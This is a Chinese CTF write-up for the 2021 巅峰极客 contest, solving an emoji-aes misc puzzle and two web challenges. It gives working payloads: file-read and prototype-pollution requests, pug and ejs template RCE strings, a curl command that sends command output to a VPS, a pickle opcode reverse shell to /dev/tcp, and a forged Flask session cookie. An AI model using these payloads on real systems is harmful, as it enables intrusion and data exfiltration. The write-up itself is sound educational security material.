引言
2021 巅峰极客网络安全技能挑战赛
比赛时间:2021年7月31日 10:00 - 18:00
上周末摸鱼,佛系打了下这个巅峰极客网络安全技能挑战赛,可是题目好难啊啊啊啊啊。
喵呜呜,题目环境当晚10点就关了就离谱,这里还是赛后复现为主,随便写写好了。
Misc
签到
YY给我发了一串表情,说了GAME,这是什么意思?
🙃💵🌿🎤🚪🌏🐎🥋🚫😆😍🥋🐘🍴🚰😍☀🌿😇😍😡🏎👉🛩🤣🖐💧☺🌉🏎😇😆🎈💧⏩☺🔄🌪⌨🐅🎅🙃🍌🙃🔪☂🏹🕹☃🌿🌉💵🐎🐍😇🍵😍🐅🎈🥋🚰✅🎈🎈
emoji-aes
直接用咱自己搭的了: https://emoji-aes.miaotony.xyz/
key: GAME
flag{10ve_4nd_Peace}
Web
ezjs
题目内容:简单的个人空间系统。
一个简简单单的登录界面
发现只要用户名、密码超过5位数字就能进入了。
这个图片是以 base64 编码的,可以任意读取文件。
通过报错可以得知源码在 /app/app.js
路由在 /app/routes/index.js
http://eci-2ze94lqyt2mqgae0klll.cloudeci1.ichunqiu.com:8888/admin?newimg=/app/app.js&diy=miaotony
<html><head><title>我的空间</title><meta http-equiv="Content-Type" content="text/html;charset=UTF-8"/></head><body><form action="" method="get"> <div>更改图片<select name="newimg"><option value="./images/1.png">纸飞机</option><option value="./images/2.png">人</option><option value="./images/3.png">小火车</option></select></div><div>个性签名<input type="text" name="diy" value="尊贵的admin可以在这更改个性签名"/></div><input type="submit"/></form><div><img src='data:image/png;base64,dmFyIGNyZWF0ZUVycm9yID0gcmVxdWlyZSgnaHR0cC1lcnJvcnMnKTsKdmFyIGV4cHJlc3MgPSByZXF1aXJlKCdleHByZXNzJyk7CnZhciBwYXRoID0gcmVxdWlyZSgncGF0aCcpOwp2YXIgY29va2llUGFyc2VyID0gcmVxdWlyZSgnY29va2llLXBhcnNlcicpOwp2YXIgbG9nZ2VyID0gcmVxdWlyZSgnbW9yZ2FuJyk7CnZhciBjcnlwdG8gPSByZXF1aXJlKCdjcnlwdG8nKTsKdmFyIHNlc3Npb24gPSByZXF1aXJlKCdleHByZXNzLXNlc3Npb24nKTsKdmFyIHNlc3Npb25TdG9yZSA9IHJlcXVpcmUoJ3Nlc3Npb24tZmlsZS1zdG9yZScpKHNlc3Npb24pOwp2YXIga2V5ID0gJ3Nlc3Npb24nOwoKCnZhciBpbmRleFJvdXRlciA9IHJlcXVpcmUoJy4vcm91dGVzL2luZGV4Jyk7CnZhciBhcHAgPSBleHByZXNzKCk7CnZhciBzZWNyZXRzID0gY3J5cHRvLnJhbmRvbUJ5dGVzKDMyKS50b1N0cmluZygnaGV4Jyk7CmFwcC51c2Uoc2Vzc2lvbih7CiAgbmFtZToga2V5LAogIHNlY3JldDogc2VjcmV0cywKICBzdG9yZTogbmV3IHNlc3Npb25TdG9yZSgpLAogIHNhdmVVbmluaXRpYWxpemVkOiBmYWxzZSwKICByZXNhdmU6IGZhbHNlLAogIGNvb2tpZTogewogICAgbWF4QWdlOiAxMDAgKiA2MCAqIDYwMAogIH0KCn0pKTsKCi8vIHZpZXcgZW5naW5lIHNldHVwCmFwcC5zZXQoJ3ZpZXdzJywgcGF0aC5qb2luKF9fZGlybmFtZSwgJ3ZpZXdzJykpOwphcHAuc2V0KCd2aWV3IGVuZ2luZScsICdwdWcnKTsKCmFwcC51c2UobG9nZ2VyKCdkZXYnKSk7CmFwcC51c2UoZXhwcmVzcy51cmxlbmNvZGVkKHsgZXh0ZW5kZWQ6IGZhbHNlIH0pKTsKYXBwLnVzZShjb29raWVQYXJzZXIoKSk7CmFwcC51c2UoZXhwcmVzcy5zdGF0aWMocGF0aC5qb2luKF9fZGlybmFtZSwgJ3B1YmxpYycpKSk7CgphcHAudXNlKCcvJywgaW5kZXhSb3V0ZXIpOwoKCi8vIGNhdGNoIDQwNCBhbmQgZm9yd2FyZCB0byBlcnJvciBoYW5kbGVyCmFwcC51c2UoZnVuY3Rpb24ocmVxLCByZXMsIG5leHQpIHsKICBuZXh0KGNyZWF0ZUVycm9yKDQwNCkpOwp9KTsKCi8vIGVycm9yIGhhbmRsZXIKYXBwLnVzZShmdW5jdGlvbihlcnIsIHJlcSwgcmVzLCBuZXh0KSB7CiAgLy8gc2V0IGxvY2Fscywgb25seSBwcm92aWRpbmcgZXJyb3IgaW4gZGV2ZWxvcG1lbnQKICByZXMubG9jYWxzLm1lc3NhZ2UgPSBlcnIubWVzc2FnZTsKICByZXMubG9jYWxzLmVycm9yID0gcmVxLmFwcC5nZXQoJ2VudicpID09PSAnZGV2ZWxvcG1lbnQnID8gZXJyIDoge307CgogIC8vIHJlbmRlciB0aGUgZXJyb3IgcGFnZQogIHJlcy5zdGF0dXMoZXJyLnN0YXR1cyB8fCA1MDApOwogIHJlcy5yZW5kZXIoJ2Vycm9yJyk7Cn0pOwoKbW9kdWxlLmV4cG9ydHMgPSBhcHA7Cg=='></div><p>哈喽</p><div>miaotony</div><div>个性签名:<div>miaotony</div><div>---miaotony</div></div></body></html>
依次得到源码 app.js
var createError = require('http-errors');
var express = require('express');
var path = require('path');
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var crypto = require('crypto');
var session = require('express-session');
var sessionStore = require('session-file-store')(session);
var key = 'session';
var indexRouter = require('./routes/index');
var app = express();
var secrets = crypto.randomBytes(32).toString('hex');
app.use(session({
name: key,
secret: secrets,
store: new sessionStore(),
saveUninitialized: false,
resave: false,
cookie: {
maxAge: 100 * 60 * 600
}
}));
// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');
app.use(logger('dev'));
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
app.use(express.static(path.join(__dirname, 'public')));
app.use('/', indexRouter);
// catch 404 and forward to error handler
app.use(function(req, res, next) {
next(createError(404));
});
// error handler
app.use(function(err, req, res, next) {
// set locals, only providing error in development
res.locals.message = err.message;
res.locals.error = req.app.get('env') === 'development' ? err : {};
// render the error page
res.status(err.status || 500);
res.render('error');
});
module.exports = app;
routes/index.js
var express = require('express');
var router = express.Router();
var {body, validationResult} = require('express-validator');
var crypto = require('crypto');
var fs = require('fs');
var validator = [
body('*').trim(),
body('username').if(body('username').exists()).isLength({min: 5})
.withMessage("username is too short"),
body('password').if(body('password').exists()).isLength({min: 5})
.withMessage("password is too short"),(req, res, next) => {
const errors = validationResult(req)
if (!errors.isEmpty()) {
return res.status(400).render('msg', {title: 'error', msg: errors.array()[0].msg});
}
next()
}
];
router.use(validator);
router.get('/', function(req, res, next) {
return res.render('index', {title: "登录界面"});
});
router.post('/login', function(req, res, next) {
let username = req.body.username;
let password = req.body.password;
if (username !== undefined && password !== undefined) {
if (username == "admin" && password === crypto.randomBytes(32).toString('hex')) {
req.session.username = "admin";
} else if (username != "admin"){
req.session.username = username;
} else {
return res.render('msg',{title: 'error', msg: 'admin password error'});
}
return res.redirect('/verify');
}
return res.render('msg',{title: 'error',msg: 'plz input your username and password'});
});
router.get('/verify', function(req, res, next) {
console.log(req.session.username);
if (req.session.username === undefined) {
return res.render('msg', {title: 'error', msg: 'login first plz'});
}
if (req.session.username === "admin") {
req.session.isadmin = "admin";
} else {
req.session.isadmin = "notadmin";
}
return res.render('verify', {title: 'success', msg: 'verify success'});
});
router.get('/admin', function(req, res, next) {
//req.session.debug = true;
if (req.session.username !== undefined && req.session.isadmin !== undefined) {
if (req.query.newimg !== undefined) req.session.img = req.query.newimg;
var imgdata = fs.readFileSync(req.session.img? req.session.img: "./images/1.png");
var base64data = Buffer.from(imgdata, 'binary').toString('base64');
var info = {title: '我的空间', msg: req.session.username, png: "data:image/png;base64," + base64data, diy: "十年磨一剑😅v0.0.0(尚处于开发版"};
if (req.session.isadmin !== "notadmin") {
if (req.session.debug !== undefined && req.session.debug !== false) info.pretty = req.query.p;
if (req.query.diy !== undefined) req.session.diy = req.query.diy;
info.diy = req.session.diy ? req.session.diy: "尊贵的admin";
return res.render('admin', info);
} else {
return res.render('admin', info);
}
} else {
return res.render('msg', {title: 'error', msg: 'plz login first'});
}
});
module.exports = router;
package.json
{
"name": "nodejs",
"version": "0.0.0",
"private": true,
"scripts": {
"start": "node ./bin/www"
},
"dependencies": {
"cookie-parser": "~1.4.4",
"debug": "~2.6.9",
"express": "~4.16.1",
"express-session": "^1.17.2",
"express-validator": "^6.6.0",
"http-errors": "~1.6.3",
"lodash": "^4.17.15",
"morgan": "~1.9.1",
"pug": "^3.0.0",
"pug-code-gen": "^3.0.0",
"session-file-store": "^1.5.0"
}
}
package-lock.json
太长了就不放上来了。
可以看到登录验证上用了 express-validator
,模板渲染用的是 pug
。
nodejs 一般就找原型链污染之类的吧,分析路由源码,info.pretty = req.query.p;
这里有点可疑。
为了进到这里,需要 session 里的 debug
、isadmin
、username
均不是 undefined
,且 isadmin !== "notadmin"
, debug !== false
。这就需要在登录路由 POST login
进行鉴权,如果能把 isadmin
、debug
设置为空的话就能绕过进来了。所以还是得 原型链污染。
再看 validator 这里,body('*').trim()
,express-validator 确实存在原型链污染漏洞。
参考
XNUCA2020Qualifier oooooooldjs writeup
express-validator 6.6.0 原型链污染分析
当传入的键中存在
.
,则会在字符两边加上[" "]
,并且最终返回的是一个字符串形式的结果。当我们传入:
{"\"].__proto__[\"test":"123 "}
这里的键为
"].__proto__["test
,由于字符里面存在.
,所以在segments.reduce函数处理时会对其左右加双引号和中括号,最终变成:[""].__proto__["test"]
。而这个被污染的原型链的
test
值为空,是因为取值时,使用的是lodash.get
方法从req['body']
中取被处理后的键值,处理后的键是不存在的,所以取出来的值就为undefined
。再经过.toString()
的处理变成了''
空字符串。另外这篇文章中还提出了利用
lodash.get
方法来污染 value 的方法,即{"a": {"__proto__": {"test": "testvalue"}}, "a\"].__proto__[\"test": 222}
最后会把
Object.__proto__.test
的值污染为testvalue
。
这道题里环境也正好是 express-validator 6.6.0,只不过不支持 JSON 来传参,只能用 urlencode 了。
于是构造 payload:
"].__proto__["isadmin=aaa
"].__proto__["debug=bbb
POST /login HTTP/1.1
...
username=miaomiao&password=miaomiao&"].__proto__["isadmin=aaa+&"].__proto__["debug=bbb+
这样就能成功绕过登录成为 admin 了。
接下来带上这个 cookie 打 pug getshell。题目里用到的 pug 版本是 3.0.0
参考
Remote code execution via the
pretty
option. CVE-2021-21353Code injection vulnerability in visitMixin and visitMixinBlock through “pretty” option
构造如下 payload 即可 RCE。
http://xxxxx/admin?p=');process.mainModule.constructor._load('child_process').exec('whoami');_=('
注意不要访问 /verify
路由,不然又把 session.isadmin
赋值了。
可惜发现这题 shell 弹不回来,只能 curl 外带了。
另外由于输出换行会截断,这里给个 tip,可以通过 form-data 文件上传 再配合 base64 编码的方式来完整传输信息。
curl -F "file=`ls -al /|base64`" http://VPS
# 或者直接 VPS 上起个 web 服务,上传文件
# curl -F "file=@文件位置" http://VPS
# ls -al /
total 84
drwxr-xr-x 1 root root 4096 Jul 31 10:28 .
drwxr-xr-x 1 root root 4096 Jul 31 10:28 ..
drwxrwxrwx 1 root root 4096 Jul 30 17:20 app
drwxr-xr-x 2 root root 4096 Jul 23 13:50 bin
drwxr-xr-x 2 root root 4096 Apr 24 2018 boot
drwxr-xr-x 5 root root 380 Jul 31 10:28 dev
drwxr-xr-x 1 root root 4096 Jul 30 17:20 etc
-rw-r--r-- 1 root root 62 Jul 30 17:21 hint
drwxr-xr-x 1 root root 4096 Jul 30 17:20 home
drwxr-xr-x 1 root root 4096 Jul 30 17:20 lib
drwxr-xr-x 2 root root 4096 Jul 23 13:50 lib64
drwxr-xr-x 2 root root 4096 Jul 23 13:49 media
drwxr-xr-x 2 root root 4096 Jul 23 13:49 mnt
drwxr-xr-x 2 root root 4096 Jul 23 13:49 opt
dr-xr-xr-x 108 root root 0 Jul 31 10:28 proc
drwx------ 1 root root 4096 Jul 31 10:28 root
drwxr-xr-x 5 root root 4096 Jul 23 13:50 run
drwxr-xr-x 2 root root 4096 Jul 23 13:50 sbin
drwxr-xr-x 2 root root 4096 Jul 23 13:49 srv
dr-xr-xr-x 12 root root 0 Jul 31 10:45 sys
drwxrwxrwt 1 root root 4096 Jul 30 17:20 tmp
drwxr-xr-x 1 root root 4096 Jul 23 13:49 usr
drwxr-xr-x 1 root root 4096 Jul 23 13:50 var
当前用户是 ctf,这个 tac 配了 suid。
tac /root/flag.txt
其实本来是想能不能通过伪造 session 来成管理员的,后来发现没有上传点,么得办法了。
具体可以参考 session-file-store库的session伪造。
BTW, 原来他的模板文件在
views
目录下啊,咱一直猜着templates
template
结果一直没读到……
/app/views/admin.pug
html head title= title meta(http-equiv="Content-Type", content="text/html;charset=UTF-8") body mixin hello(text) p= text div #{msg} mixin printdiy() div 个性签名: div #{diy} div ---#{msg} form(action="", method="get") div 更改图片 select(name="newimg") option(value="./images/1.png") 纸飞机 option(value="./images/2.png") 人 option(value="./images/3.png") 小火车 div 个性签名 input(type="text" name="diy" value="尊贵的admin可以在这更改个性签名") input(type="submit") div <img src='#{png}'> +hello("哈喽") +printdiy()
顺便放个 ejs 的 RCE:
Express+lodash+ejs: 从原型链污染到RCE
a; return global.process.mainModule.constructor._load('child_process').execSync('whoami'); //
opcode
题目内容:听说pickle是一门有趣的栈语言,你会手写opcode吗?
任意文件读源码
imagePath=app.py&password=admin&username=admin
from flask import Flask
from flask import request
from flask import render_template
from flask import session
import base64
import pickle
import io
import builtins
class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit', 'map'}
def find_class(self, module, name):
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def loads(data):
return RestrictedUnpickler(io.BytesIO(data)).load()
app = Flask(__name__)
app.config['SECRET_KEY'] = "y0u-wi11_neuer_kn0vv-!@#se%32"
@app.route('/admin', methods = ["POST","GET"])
def admin():
if('{}'.format(session['username'])!= 'admin' and str(session['username'] , encoding = "utf-8")!= 'admin'):
return "not admin"
try:
data = base64.b64decode(session['data'])
if "R" in data.decode():
return "nonono"
pickle.loads(data)
except Exception as e:
print(e)
return "success"
@app.route('/login', methods = ["GET","POST"])
def login():
username = request.form.get('username')
password = request.form.get('password')
imagePath = request.form.get('imagePath')
session['username'] = username + password
session['data'] = base64.b64encode(pickle.dumps('hello' + username, protocol=0))
try:
f = open(imagePath,'rb').read()
except Exception as e:
f = open('static/image/error.png','rb').read()
imageBase64 = base64.b64encode(f)
return render_template("login.html", username = username, password = password, data = bytes.decode(imageBase64))
@app.route('/', methods = ["GET","POST"])
def index():
return render_template("index.html")
if __name__ == '__main__':
app.run(host='0.0.0.0', port='8888')
参考
🐍Security Issues in Python Pickle 或者 https://hackmd.io/53c7hn_1SqOF7WoUMBrkiA?view
又是手搓 opcode……
实际上 INST i
、OBJ o
、REDUCE R
都可以调用一个 callable 对象,把 R
换成其他的就好。
然而这题其实他并没有调用外面的这个 loads
,即没有调用 RestrictedUnpickler
,只要不含有 R
就行了……
# 反弹 shell
b"(cos\nsystem\nS\'bash -i >& /dev/tcp/ip/port 0>&1\'\no."
# 或者直接
b"(cos\nsystem\nS\'curl http://VPS:PORT/?flag=`/app/readflag`\'\no."
接下来伪造 session,直接用 Flask Session Cookie Decoder/Encoder 这个脚本好了。
解码:
$ python3 flask_session_cookie_manager3.py decode -c 'eyJkYXRhIjp7IiBiIjoiVm0xb2JHSkhlSFpaVjFKMFlWYzBTMk5FUVV0TVp6MDkifSwidXNlcm5hbWUiOiJhZG1pbmFkbWluIn0.YQ_4Tg.rctkQrLvhZdSHjtRdjE21qaA1O4' -s 'y0u-wi11_neuer_kn0vv-!@#se%32'
{'data': b'VmhlbGxvYWRtaW4KcDAKLg==', 'username': 'adminadmin'}
编码:把上面的 opcode base64 一下,然后放进 data 里。
$ python3 flask_session_cookie_manager3.py encode -s 'y0u-wi11_neuer_kn0vv-!@#se%32' -t '{"data": "KGNvcwpzeXN0ZW0KUydiYXNoIC1pID4mIC9kZXYvdGNwL2lwL3BvcnQgMD4mMScKby4=", "username": "adminadmin"}'
eyJkYXRhIjoiS0dOdmN3cHplWE4wWlcwS1V5ZGlZWE5vSUMxcElENG1JQzlrWlhZdmRHTndMMmx3TDNCdmNuUWdNRDRtTVNjS2J5ND0iLCJ1c2VybmFtZSI6ImFkbWluYWRtaW4ifQ.YRAgRQ.KBVqxrhR0f5FCTCzy1sLo9oaAfI
注意改一下 ip & port。然后把 cookie 改了访问 /admin
就能触发了。
如果按照题目原本的意思,只能用 builtins
里的东西,还带有黑名单,过滤 R
。
可以参考 这篇 wp 里的思路,先用 pker 这个工具生成只带 builtins
但含有 R
的 payload。
getattr = GLOBAL('__builtins__', 'getattr')
dict = GLOBAL('__builtins__', 'dict')
dict_get = getattr(dict, 'get')
globals = GLOBAL('__builtins__', 'globals')
__builtins__ = globals()
____builtins____ = dict_get(__builtins__, '____builtins____')
eval = getattr(____builtins____, 'eval')
eval('__import__("os").system("whoami")')
return
b'cbuiltins\ngetattr\np0\n0cbuiltins\ndict\np1\n0g0\n(g1\nS\'get\'\ntRp2\n0cbuiltins\nglobals\np3\n0g3\n(tRp4\n0g2\n(g4\nS\'__builtins__\'\ntRp5\n0g0\n(g5\nS\'eval\'\ntRp6\n0g6\n(S\'__import__("os").system("whoami")\'\ntR.'
"""
cbuiltins
getattr
p0
0cbuiltins
dict
p1
0g0
(g1
S'get'
tRp2
0cbuiltins
globals
p3
0g3
(tRp4
0g2
(g4
S'__builtins__'
tRp5
0g0
(g5
S'eval'
tRp6
0g6
(S'__import__("os").system("whoami")'
tR.
"""
而后手搓一下,在调用的 callable 前添加 MARK 即 (
,去掉 t
指令和调用 t
指令用到的 MARK.
也就是 [callable] [tuple] R
===> MARK [callable] [args...] o
文中构造的 payload 为
b'''cbuiltins\ngetattr\np0\n0cbuiltins\ndict\np1\n0(g0\ng1\nS'get'\nop2\n0cbuiltins\nglobals\np3\n0(g3\nop4\n0(g2\ng4\nS'__builtins__'\nop5\n0(g0\ng5\nS'eval'\nop6\n0(g6\nS'__import__("os").system("whoami")'\no.'''
"""
cbuiltins
getattr
p0
0cbuiltins
dict
p1
0(g0
g1
S'get'
op2
0cbuiltins
globals
p3
0(g3
op4
0(g2
g4
S'__builtins__'
op5
0(g0
g5
S'eval'
op6
0(g6
S'__import__("os").system("whoami")'
o.
"""
编码
$ python3 flask_session_cookie_manager3.py encode -s 'y0u-wi11_neuer_kn0vv-!@#se%32' -t '{"data": "Y2J1aWx0aW5zCmdldGF0dHIKcDAKMGNidWlsdGlucwpkaWN0CnAxCjAoZzAKZzEKUydnZXQnCm9wMgowY2J1aWx0aW5zCmdsb2JhbHMKcDMKMChnMwpvcDQKMChnMgpnNApTJ19fYnVpbHRpbnNfXycKb3A1CjAoZzAKZzUKUydldmFsJwpvcDYKMChnNgpTJ19faW1wb3J0X18oIm9zIikuc3lzdGVtKCJ3aG9hbWkiKScKby4=", "username": "adminadmin"}'
.eJxdkEFPgzAAhf9Lzx5gaDJMPDSdA9qUZOpW4NbSDRhtaWTIqPG_y9jBxMvLu3zfS943kPzCwTPIV9jn7Opx9uSQlkpGW0_GCSk3kNAobSRTvYzUUI625Sz1kIFXdIZd4SAp3CvZT9IU2c4gHY606sZ_vl6scC1iOvsooag2dLRf5WZ375U1KbQf2A9PuTlYEb9ZYdJTNpVEBND_29nfdpTU2x4vfL7waXVnOfNHEWAv89ddokOXNO1QBsrJ6HAhCAc8CmvB2oa8z97p8QU8gKE_fhquj_MDXOrGLAF-fgETQV-m.YRAnmg.C8b2ylZD1EDOLC3JLOFLZP9VGms
然后把源码里的 pickle.loads(data)
改成 loads(data)
,本地试一试。
Pickle 常见 opcode,完整的可在
$PYTHON/Lib/pickle.py
查看(via https://xz.aliyun.com/t/7012#toc-2)
name op params describe e.g. REDUCE R [callable] [tuple] R 调用一个callable对象 crandom\nRandom\n)R OBJ o MARK [callable] [args…] o 同INST,参数获取方式由readline变为stack.pop而已 (cos\nsystem\nS’ls’\no INST i MARK [args…] i [module] [cls] 构造一个类实例(其实等同于调用一个callable对象),内部调用了 find_class
(S’ls’\nios\nsystem\n MARK ( null 向栈顶push一个MARK STOP . null 结束 POP 0 null 丢弃栈顶第一个元素 POP_MARK 1 null 丢弃栈顶到MARK之上的第一个元素 DUP 2 null 在栈顶赋值一次栈顶元素 FLOAT F F [float] push一个float F1.0 INT I I [int] push一个integer I1 NONE N null push一个None STRING S S [string] push一个string S ‘x’ UNICODE V V [unicode] push一个unicode string V ‘x’ APPEND a [list] [obj] a 向列表append单个对象 ]I100\na BUILD b [obj] [dict] b 添加实例属性(修改 __dict__
)cmodule\nCls\n)R(I1\nI2\ndb GLOBAL c c [module] [name] 调用Pickler的 find_class
,导入module.name并push到栈顶cos\nsystem\n DICT d MARK [[k] [v]…] d 将栈顶MARK以前的元素弹出构造dict,再push回栈顶 (I0\nI1\nd EMPTY_DICT } null push一个空dict APPENDS e [list] MARK [obj…] e 将栈顶MARK以前的元素append到前一个的list ](I0\ne GET g g [index] 从memo获取元素 g0 LIST l MARK [obj] l 将栈顶MARK以前的元素弹出构造一个list,再push回栈顶 (I0\nl EMPTY_LIST ] null push一个空list PUT p p [index] 将栈顶元素放入memo p0 SETITEM s [dict] [k] [v] s 设置dict的键值 }I0\nI1\ns TUPLE t MARK [obj…] t 将栈顶MARK以前的元素弹出构造tuple,再push回栈顶 (I0\nI1\nt EMPTY_TUPLE ) null push一个空tuple SETITEMS u [dict] MARK [[k] [v]…] u 将栈顶MARK以前的元素弹出update到前一个dict }(I0\nI1\nu
小结
题目也太顶啦!
Misc 就俩题,另一题是个零解的内存镜像取证,提取出来一张微信收到的图片,然后 LSB 有个看上去像是 AES 的字符串,但找了半天没找到密钥在哪……
线上初赛才只有12支战队晋级,太难了,喵呜呜呜!
就这样吧……
(溜了溜了喵
-->